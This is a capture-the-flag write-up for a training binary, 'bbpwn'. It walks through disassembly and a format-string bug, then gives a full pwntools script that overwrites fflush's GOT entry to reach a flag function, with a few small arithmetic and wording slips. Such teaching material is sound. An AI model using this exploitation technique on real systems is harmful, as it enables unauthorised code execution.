bbpwn

Using arbitrary writes to overwrite a return pointer.

3KB
bbpwn.zip
archive

This is a challenging rendition of the format binary where we performed an arbitrary write to change data. In this case, we will modify the return pointer to get code execution.

Static Analysis

As usual, let's check security on the binary:

$ checksec bbpwn
[*] '/home/joybuzzer/Documents/vunrotc/public/binex/03-formats/bbpwn/src/bbpwn'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

We see that there is no canary and no PIE. This means that this code is subject to buffer overflows.

We perform our routine checks in search of anything outstanding.

The original writeup for this challenges uses radare2. gdb commands were added later.

gef➤  info functions
All defined functions:

Non-debugging symbols:
...
0x0804870b  flag()
0x08048724  main
...

We first check flag to make sure we don't have anything to do inside the function:

gef➤  disas flag
Dump of assembler code for function _Z4flagv:
   0x0804870b <+0>:	push   ebp
   0x0804870c <+1>:	mov    ebp,esp
   0x0804870e <+3>:	sub    esp,0x8
   0x08048711 <+6>:	sub    esp,0xc
   0x08048714 <+9>:	push   0x80488e0
   0x08048719 <+14>:	call   0x8048570 <system@plt>
   0x0804871e <+19>:	add    esp,0x10
   0x08048721 <+22>:	nop
   0x08048722 <+23>:	leave  
   0x08048723 <+24>:	ret    
End of assembler dump.
gef➤  x/s 0x80488e0
0x80488e0:	"cat flag.txt"

We see that this function just calls system("cat flag.txt"); without any extra steps.

gef➤  disas main
Dump of assembler code for function main:
   0x08048724 <+0>:	lea    ecx,[esp+0x4]
   0x08048728 <+4>:	and    esp,0xfffffff0
   0x0804872b <+7>:	push   DWORD PTR [ecx-0x4]
   0x0804872e <+10>:	push   ebp
   0x0804872f <+11>:	mov    ebp,esp
   0x08048731 <+13>:	push   ecx
   0x08048732 <+14>:	sub    esp,0x214
   0x08048738 <+20>:	mov    eax,ecx
   0x0804873a <+22>:	mov    eax,DWORD PTR [eax+0x4]
   0x0804873d <+25>:	mov    DWORD PTR [ebp-0x20c],eax
   0x08048743 <+31>:	mov    eax,gs:0x14
   0x08048749 <+37>:	mov    DWORD PTR [ebp-0xc],eax
   0x0804874c <+40>:	xor    eax,eax
   0x0804874e <+42>:	sub    esp,0xc
   0x08048751 <+45>:	push   0x80488f0
   0x08048756 <+50>:	call   0x80485e0 <puts@plt>
   0x0804875b <+55>:	add    esp,0x10
   0x0804875e <+58>:	mov    eax,ds:0x804a044
   0x08048763 <+63>:	sub    esp,0xc
   0x08048766 <+66>:	push   eax
   0x08048767 <+67>:	call   0x80485c0 <fflush@plt>
   0x0804876c <+72>:	add    esp,0x10
   0x0804876f <+75>:	mov    eax,ds:0x804a040
   0x08048774 <+80>:	mov    edx,0xc8
   0x08048779 <+85>:	sub    esp,0x4
   0x0804877c <+88>:	push   eax
   0x0804877d <+89>:	push   edx
   0x0804877e <+90>:	lea    eax,[ebp-0x200]
   0x08048784 <+96>:	push   eax
   0x08048785 <+97>:	call   0x8048590 <fgets@plt>
   0x0804878a <+102>:	add    esp,0x10
   0x0804878d <+105>:	mov    eax,ds:0x804a040
   0x08048792 <+110>:	sub    esp,0xc
   0x08048795 <+113>:	push   eax
   0x08048796 <+114>:	call   0x80485c0 <fflush@plt>
   0x0804879b <+119>:	add    esp,0x10
   0x0804879e <+122>:	sub    esp,0x4
   0x080487a1 <+125>:	lea    eax,[ebp-0x200]
   0x080487a7 <+131>:	push   eax
   0x080487a8 <+132>:	push   0x8048914
   0x080487ad <+137>:	lea    eax,[ebp-0x138]
   0x080487b3 <+143>:	push   eax
   0x080487b4 <+144>:	call   0x8048550 <sprintf@plt>
   0x080487b9 <+149>:	add    esp,0x10
   0x080487bc <+152>:	mov    eax,ds:0x804a044
   0x080487c1 <+157>:	sub    esp,0xc
   0x080487c4 <+160>:	push   eax
   0x080487c5 <+161>:	call   0x80485c0 <fflush@plt>
   0x080487ca <+166>:	add    esp,0x10
   0x080487cd <+169>:	sub    esp,0xc
   0x080487d0 <+172>:	lea    eax,[ebp-0x138]
   0x080487d6 <+178>:	push   eax
   0x080487d7 <+179>:	call   0x80485d0 <printf@plt>
   0x080487dc <+184>:	add    esp,0x10
   0x080487df <+187>:	mov    eax,ds:0x804a044
   0x080487e4 <+192>:	sub    esp,0xc
   0x080487e7 <+195>:	push   eax
   0x080487e8 <+196>:	call   0x80485c0 <fflush@plt>
   0x080487ed <+201>:	add    esp,0x10
   0x080487f0 <+204>:	sub    esp,0xc
   0x080487f3 <+207>:	push   0x1
   0x080487f5 <+209>:	call   0x80485f0 <exit@plt>
End of assembler dump.

The most important thing to notice in this disassembly is that there is a format string bug at 0x080487d7. The address we write to is directly passed as the argument to printf.

We'll then check where our input is on the stack when we run it:

$ ./bbpwn
Hello baby pwner, whats your name?
%x %x %x %x %x %x %x %x %x %x %x %x %x %x %x
Ok cool, soon we will know whether you pwned it or not. Till then Bye 8048914 ff8e99e8 f7c3a439 f7c0c2f4 f7f365fc f781ab0d ff8e9cb4 0 0 25207825 78252078 20782520 25207825 78252078 20782520

We see that we start writing at the 10th offset.

Plan of Attack

There is no canary to leak. Nothing else happens after the format string bug is triggered, meaning we need to perform some arbitrary write. Overwriting the return pointer of main() is not always a great choice because the stack frame is unpredictable.

A better solution is to overwrite the address of another function with the address of flag, our desired function. That way, when we call the function, it will call flag instead. This is what we call a GOT overwrite and will be discussed further at the end of the binary exploitation section.

The reason that the plan of attack is possible is because RELRO is not fully on. RELRO, or RElocation Linked Read-Only, is a security feature that makes the GOT read-only. This means that we cannot overwrite the GOT. However, because RELRO is only Partial, we can overwrite the GOT.

Understanding the Payload

We choose fflush as a good candidate for overwriting because it is called right after the format string bug is triggered. This means that we can overwrite the return pointer of fflush with the address of flag.

Checking the got table, we can find the address of fflush:

gef➤  got fflush

GOT protection: Partial RelRO | GOT functions: 11
 
[0x804a028] fflush@GLIBC_2.0  →  0x80485c6

For the radare2 output, we can also use pdf @ sym.imp.fflush to see the address of the function. This shows us the PLT entry, which jumps us to the address in the GOT (reloc.fflush).

In the got table, fflush is at 0x0804a028. We can verify this by checking the address for an instruction:

gef➤  x/i 0x804a028
   0x804a028 <fflush@got.plt>:	mov    BYTE PTR [ebp-0x7a29f7fc],0x4

We also need the address of flag:

gef➤  info functions flag
All functions matching regular expression "flag":

Non-debugging symbols:
0x0804870b  flag()

Therefore, we need to change the value at 0x0804a028 to 0x0804870b.

Let's begin to simulate changing the value at the fflush entry in the got table. We want to overwrite the value, one byte at a time, until we get the desired value. Consider the following payload:

addrs = p32(0x0804a028) + p32(0x0804a029) + p32(0x0804a02b)
formats = b'%10$n%11$n%12$n'
payload = addrs + formats

This means that we're going to write the number of bytes thus far to the address 0x0804a028, 0x0804a029, and 0x0804a02b. If we run gdb and stop execution right after the printf, we can see what the values are:

p = process('./bbpwn')
gdb.attach(p, gdbscript='b *(main+184)')

Checking the addresses at fflush:

gef➤  x/2wx 0x0804a028
0x804a028 <fflush@got.plt>:	0x52005252	0xf7000000

We see that the current value is 0x52 at the lowest byte. Remember that we can only add to the value, meaning to get 0x0b at that byte, we need to reach 0x10b. This takes 0x10b-0x52=185 bytes. Therefore, we can append %185x into our payload so that many bytes are written first.

Why does this work?

Note the difference in the format specifier. We are writing %185x and not %185$x. Rather than writing the value of the 185th argument, we are writing the argument provided as a 185-byte value. As a proof-of-concept, consider the following code:

#include <stdio.h>

int main(void)
{
    int bytes = 2;
    printf("%10x", bytes);
}

This code is going to output 9 spaces then the number 2. Changing the print statement to printf("%010x", bytes); prints out 0000000002.

Let's add this format string to the start of our payload and re-analyze.

addrs = p32(0x0804a028) + p32(0x0804a029) + p32(0x0804a02b)
formats = b'%185x%10$n%11$n%12$n'
payload = addrs + formats

Why didn't we put spaces like last time?

Remember that %n prints the number of bytes written thus far. If we write spaces, we add another byte to the count. In theory, we could subtract one from the hex format specifier, but this is less confusing.

gef➤  x/2wx 0x0804a028
0x804a028 <fflush@got.plt>:	0x0b010b0b	0xf7000001

The lower byte is now 0x0b as desired. Now, let's do the second and third bytes similarly. Our current bytes are 0x010b, and we need this to be 0x0487. 0x0847-0x010b=892. We can add %892x to the format string to write that many bytes. This changes the value at that address to:

gef➤  x/2wx 0x0804a028
0x804a028 <fflush@got.plt>: 0x8704870b	0xf7000004

Finally, to modify the fourth bit, we need to write 0x08 to the fourth byte, which requires 0x108-0x87=129 bytes to be written. This will spill over to the next DWORD, but that's okay because it doesn't prevent us from pulling off this exploit.

Putting it all Together

Putting together the payload, we have the following exploit:

exploit.py
from pwn import *

proc = process('./bbpwn')
print(proc.recvline())

addrs = p32(0x804a028) + p32(0x804a029) + p32(0x804a02b)

flag_val0 = b"%185x%10$n"
flag_val1 = b"%892x%11$n"
flag_val2 = b"%129x%12$n"

payload = addrs + flag_val0 + flag_val1 + flag_val2

proc.sendline(payload)
proc.interactive()

We notice that cat flag.txt is called! Exploiting this on the remote server, we get the flag.

Last updated